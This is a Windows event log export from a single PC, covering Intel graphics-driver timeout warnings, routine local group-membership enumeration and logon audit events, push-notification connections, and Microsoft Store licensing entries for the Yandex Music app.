08:42:42.990\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:43.990\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:44.775\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:44.935\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:42:44.998\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:45.222\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:46.007\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:46.230\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:46.679\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:47.475\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:50.137\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:50.355\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:50.803\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:51.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:52.476\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:53.148\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:53.923\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:54.258\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:54.850\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_WIN32_TERMINALSERVICE_Prov, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:43:04.461\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.462\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-503\n\tAccount Name:\t\tDefaultAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.462\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-504\n\tAccount Name:\t\tWDAGUtilityAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.462\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.463\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-500\n\tAccount Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.463\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-501\n\tAccount Name:\t\t\u0413\u043e\u0441\u0442\u044c\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.464\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.464\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-503\n\tAccount Name:\t\tDefaultAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.465\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-504\n\tAccount Name:\t\tWDAGUtilityAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.466\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.466\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-500\n\tAccount Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.467\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-501\n\tAccount Name:\t\t\u0413\u043e\u0441\u0442\u044c\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.473\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.473\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-503\n\tAccount Name:\t\tDefaultAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.474\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-504\n\tAccount Name:\t\tWDAGUtilityAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.474\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.475\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-500\n\tAccount Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.475\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-501\n\tAccount Name:\t\t\u0413\u043e\u0441\u0442\u044c\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.476\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.477\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-503\n\tAccount Name:\t\tDefaultAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.477\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-504\n\tAccount Name:\t\tWDAGUtilityAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.478\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.478\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-500\n\tAccount Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:04.479\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-501\n\tAccount Name:\t\t\u0413\u043e\u0441\u0442\u044c\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2be4\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:10.715\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:10.717\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:10.717\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:10.728\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.728\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.729\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.729\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(4) tid(3e7c) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.729\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.729\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.729\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(5) tid(3e7c) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.730\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.731\t8001\t\"Skipping license manager: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.735\t8001\t\"Licensing package A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6 (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.736\t8001\t\"Licensing 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.736\t8001\t\"0000021F831D3820: Key Machine for content: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.736\t8011\t0x21f83133e68: 3380: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.736\t8011\t0x21f831d3840: 3380: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.736\t8001\t\"0000021F831D3820: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.736\t8012\t0x21f831d3840: 3380: Key:Initial Change: Key:NegotiatingUnleased => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.760\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: \u042f\u043d\u0434\u0435\u043a\u0441.\u041c\u0443\u0437\u0438\u043a\u0430, {071f875e-406c-4938-beaa-65f69cc573e2}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:43:10.765\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields 